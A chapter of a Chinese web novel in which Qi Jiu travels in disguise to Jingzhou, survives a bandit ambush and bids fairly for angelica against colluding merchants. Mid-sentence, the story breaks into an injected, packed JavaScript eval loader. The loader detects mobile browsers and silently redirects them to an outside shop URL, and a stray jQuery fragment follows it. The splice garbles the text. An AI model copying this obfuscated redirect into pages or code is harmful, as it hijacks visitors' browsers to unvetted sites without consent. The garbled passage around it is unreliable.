骡车出了平凉城，先去了南门外二三里的郊县。
祈楚就在这里购了几间屋子，又买了几亩田地，让王保、赵闲与何大托夫妇在此栖身。在祈楚慢慢理清家中账目、等待时机的同时，王、赵、何三人也暗中监视着祈桓等人，将他们的动向随时报给祈楚。
因此祈楚早就知道，二叔与陶墉已经见过了几次面。
早晨，城郊的空气十分新鲜，混着青草与牛粪的气息，叫人心旷神怡。
王保几人正准备出门，见祈楚和平南山驾了骡车来，忙高兴地迎了上去。骡车停稳后，祈楚和平南山率先跳下骡车，几人问道：
“楚兄，今日怎的突然来了？难道有什么事需要我们去办？”
祈楚不好意思地笑了笑说：“的确有件要紧事……”
正说着，瓶儿扶着柒奺，也下了骡车。
方才在路上，祈楚已经将之前卡十一战的事全部讲给了柒奺听，并将王保、赵闲和何大托几人的情况也和盘托出。
柒奺心中了然，心想祈楚还算是思虑周全，竟知道留下几人暗中行事。
可王保几人却没见过柒奺。
他们只听平南山说起，祈楚阴差阳错得了个娘子，却生得娇媚可爱，有勇有识，连凉州刺史都想强抢了去作宠妾。祈楚是心爱又宝贝，天天追着赖着，其中闹的笑话，常常被平南山当作谈资，津津有味地讲给几人听。
今日总算见着了柒奺的“庐山真面目”，何大托大嘴巴，忙打趣祈楚说：
“楚兄，先前还听你念叨家里给你错娶了娘子，照我看，你还真是身在福中不知福啊！”
祈楚慌了，忙冲他“嘘”了一声。
平南山忍着笑说：“可别乱讲，当心咱们大娘子又要给他好果子吃了。”
柒奺倒是装作没听见，走上来向几人见了礼。
原来，祈楚还是不放心柒奺一个人前去，便想要请他们帮忙，护送柒奺来回。
听了祈楚的说法后，赵闲点点头说道：
“我会些剑法，普通的流寇土匪应该能够对付，咱们只要尽量从官道走，应该不会有问题。何大托家中有娘子，还是不要去了，王保他近日看上了隔壁村的一个年轻寡妇，天天往那儿跑，更何况你还需要人帮你盯着你二叔和陶家——楚兄，如果你放心的话，就我护送嫂子去景州吧。”
听赵闲这么说，王保忙搡了搡他：“赵闲，你瞎说什么呢……我哪有看上她了！”
赵闲哈哈大笑。
祈楚说道：“其实，我娘子有些武功在身……我只不过担心她一个人，若多一人照应着也好——那赵闲兄，我就将娘子托付给你了，请你一定要护她周全……”
祈楚说完，起身向赵闲深鞠一躬。
柒奺与瓶儿，就在何大托娘子屋子里，换上了男子的装束。
不是易容，只是为了行路方便，女着男装出行在文唐并不是稀罕事。趁此时间，几人搭手将骡车套上马背，赵闲也收拾好行装，腰上插着佩剑。
祈楚依依不舍，又亲自送出了二里地。
见官道就在眼前，柒奺拍了拍他的手说：
“郎君，十八相送终须一别，就此别过吧。到了景州，我立马修书一封给你报平安。”
“奺儿……”
祈楚伸出手，抚了抚她的脸颊。他又喋喋不休地叮嘱了一会儿，见实在留之不得，只能紧紧拥住柒奺，低头吻了她的唇。
其余三人忙转过脸去，柒奺也没有反抗，让他吻了一会儿才推开他。
“好了，我真的要走了……家中一切就交给郎君了。”
“你放心吧……”
柒奺转身上了马车，瓶儿也跟上去，赵闲朝祈楚一拱手，车轮缓缓转动。
“……楚兄？”
平南山见祈楚呆立在原地，望着骡车远去的背影，像已经化成了一块石头。平南山不说话，悄悄靠近祈楚，摆好了架势。
祈楚愣了片刻，突然拔腿要撵上去。
平南山眼疾手快，立马死死拖住祈楚。
“奺儿，你让我跟你一起去啊！——南山快放开我！……那马车上还能坐一人，要不、要不我坐车顶也行啊！呜呜呜让我去……”
祈楚在原地蹬腿，一把鼻涕一把泪，可马车已经没了踪影。
.
接下来大半月，祈楚在家茶饭不思、望眼欲穿，总算收到了景州的来信。
他欣喜欲狂地展开信纸，被上面字吓得一跳。
四个字，就占满了整张信纸，笔画尸横遍野，墨水血肉横飞。祈楚没有心理准备，见着柒奺的字，仿佛梦回沙场。
他忍着心跳仔细辨认，这四个字是——
“已到，平安。”
祈楚终于抒了口气。
柒奺四个字的轻描淡写，就这样抹过了一路惊险的旅程。
其实，他们还未到景州地界，就被这里的混乱景象惊呆了。
景州、屏州和象州，被称为“南三州”，本就是贫穷蛮夷之地。二十三年前，先皇灭西蝉国，统一收复“南三州”，重典相治，好不容易才稳定这里的政局。
如今新皇辉宗皇帝亟待打通灵越山脉，连通“中三州”与“南三州”，才能令文唐迎来长久的和平。
贫穷加上蝗灾，令景州颇为不稳定。
他们紧锣密鼓地赶路，却在一天夜里，遭遇了当地的流匪。
柒奺感到后悔，不该着急赶路，想着到下个驿站再住店。也是这一路太过顺利，既然快到景州了，她也没想到真的会遇到流寇土匪。
流匪大约三四十人，从两边野林中冲出，截住了他们的去路。
赵闲见前有拦路虎，只能拔出佩剑武力开路，让柒奺驾车先逃。流寇悍匪何其残忍，柒奺也不可能留下赵闲一人，便也跳下马车甩下皮鞭。
原本赵闲听说柒奺有点武功，还以为只是三脚猫功夫，并未放在心上。
可柒奺用鞭之准，一鞭就能将流匪缴械，又一鞭对方立马皮开肉绽。
赵闲惊呆了：“嫂子的功夫竟然这么厉害？”
柒奺却说：“当心！就凭我们两人，也很难脱身！”
瓶儿躲在马车里，只能捏紧缰绳随时准备冲出去。其实柒奺凭着老乞丐教的轻功，想上树逃走很容易，可一个人脱身简单，要三个人都能脱身，却是难上加难。
流匪头头举着火把，抖着满脸横肉胡茬地说道：
“这小娘子好生厉害，啧啧，还是个美人儿啊……我定要带你回去做压寨夫人，给我生七八个漂亮孩子，哈哈哈……”
周围的流匪都大笑起来。
“娘子……”瓶儿看着柒奺，脸吓得惨白。
四周火把攒攒，火光烈烈朝他们逼近。就在这绝境中，不知从何处突然蹿出一队人马，他们约莫五六人，都身着统一的黑色骑装，配精雕的银色长剑，立马冲开了流匪的包围圈。
见这队人马是解救自己的，柒奺与赵闲互看一眼，立马飞身上了马车。
趁柒奺他们脱身之际，这五六人却势如破竹，很快斩杀了大半流匪，其余的抱头鼠窜，四散而逃。黑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646472|203563||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
衣人没有多做停留，也立马扬鞭蹿进了野林中，很快便消失不见了。
“……这些是什么人？”
柒奺有些惊讶。
赵闲驾着马车飞快驶离，说道：“这队人马训练有素，一定不是普通人。”
危机总算是解除了，柒奺他们再也不敢趁夜赶路，总算平安到达了景州的苍梧县。
他们住下之后，柒奺寄了封家书给祈楚，便要着手打听收购药材的事情。
为了行事方便，柒奺必须要易容出门，因此让赵闲守着瓶儿待在客栈里，她自己出去办事。赵闲见识了柒奺的武力，知道自己跟着说不定也是累赘，便答应留在客栈等待。
柒奺易容成男子，在城内随意逛逛。
城内局势还算平稳，只是显得萧索，卖粮食的铺子里，米面已经涨了三倍。
柒奺在心中叹息。
粮食铺门可罗雀，药材铺却高朋满座，各地来的商人，都在寻找当地药贩，想要买到廉价的景州白芷。柒奺走进去，听这些各地来的药商拥在一起，面红耳赤地争论白芷的收购价。
柒奺家中本就是药农，来之前也做过功课，知道景州干白芷的价格，大约是白米的五六倍，一石进购价二百钱到二百四十钱之间，即使丰年，也没有低于二百钱。
可这些药商却想趁火打劫，将白芷价格压至每石八十到一百钱，甚至还有人大言不惭地喊出五十钱。
加上粮食价格飞涨，药农们辛辛苦苦一年下来，还不够糊口。
有人带头提议：“我看，咱们就耗着，如今他们急需现银渡过难关，咱们就联合起来压下白芷的价格，到时候一起分了，你们说如何？”
“对对对，药农无钱买粮，到时候饿慌了，还不是见钱就卖？”
“那咱们得留心些，这两天把来苍梧、和罗的药商都联系上，大家此时就需要团结，跟他们耗下去！……”
其余人纷纷点头同意。
柒奺不动声色地等在门外，听着药商们眉飞色舞地商讨着，不觉感到浑身上下一片恶寒。连掌柜的也看不下去了，将他们统统轰出门去：
“见过心黑的，没见过你们这么黑的！咱们景州百姓大多都靠着白芷过活，你们这么压价，药农们还有活路吗？走走走走……别在我这待着，脏了我这地方！”
药商们骂骂咧咧地走了，见他们走远后，柒奺才进了药铺。
“你又是干什么的？”掌柜没好气瞥了她一眼。
柒奺拱手说道：“在下陆十三，也是一名药商，我愿意出每石一百六十钱收购白芷，现银付定，望掌柜的给个门路引见引见。”
在文唐，一两金为五十两银，一两银为五百钱。
一百六十钱，加上每石十钱的运费，已经是祈家能给出的最高价格了。
“一百六十钱？”掌柜皱眉沉吟片刻，上下打量着柒奺，“那你要订多少石呢？”
柒奺说：“越多越好。”
掌柜的愣了一愣，复而笑道：
“呵呵……陆老板，不是我看不起你，一百六十钱一石买景州白芷，虽是捡了个大便宜，但整个苍梧、和罗二县这年的收成，少说也有三万石，一半定金也要四五千两。这，您能拿得出来嘛？”
柒奺说：“银票我早已准备妥当，掌柜若能替我谈下来，陆某愿另付五十两作为酬谢。”
掌柜的有些惊讶：“……您是？”
“我是平凉祈家的。”柒奺拱手道，“掌柜的尽管去谈，但先切莫声张。”
掌柜的恍然大悟，点了点头。